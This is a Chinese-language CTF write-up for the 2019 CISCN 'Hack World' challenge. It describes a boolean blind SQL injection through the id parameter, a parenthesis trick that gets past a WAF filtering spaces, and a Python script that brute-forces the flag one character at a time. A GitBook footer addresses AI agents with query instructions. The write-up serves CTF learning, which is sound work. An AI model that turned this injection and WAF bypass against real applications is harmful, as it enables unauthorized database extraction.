> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2019/2019-ciscn/hua-bei-sai-qu-hack-world.md).

# \[华北赛区]Hack World

传入id，有两种返回结果，1以及2。很容易的推测到可能是布尔盲注。

fuzz之后发现WAF了空格（BUUFCTF的容器通常是顶不住fuzz的）。使用括号可以绕过。

这里直接用了通杀语句`if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)`。

exp

```python
import requests

string = "Hello, glzjin wants a girlfriend."
url = "http://c51bbb75-0b7f-4f51-8343-a1e164f75d10.node3.buuoj.cn/index.php"
flag = ""

for i in range(50):
    for j in range(127):
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
        data = {'id': payload}
        files = []
        headers = {}
        response = requests.request("POST", url, headers=headers, data=data, files=files)
        print(j)
 #为了防止因网络原因而导致爆破中断丢失数据
        if response.text.find(string) != -1:
            flag += chr(j)
            print(flag)
            break
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/2019/2019-ciscn/hua-bei-sai-qu-hack-world.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
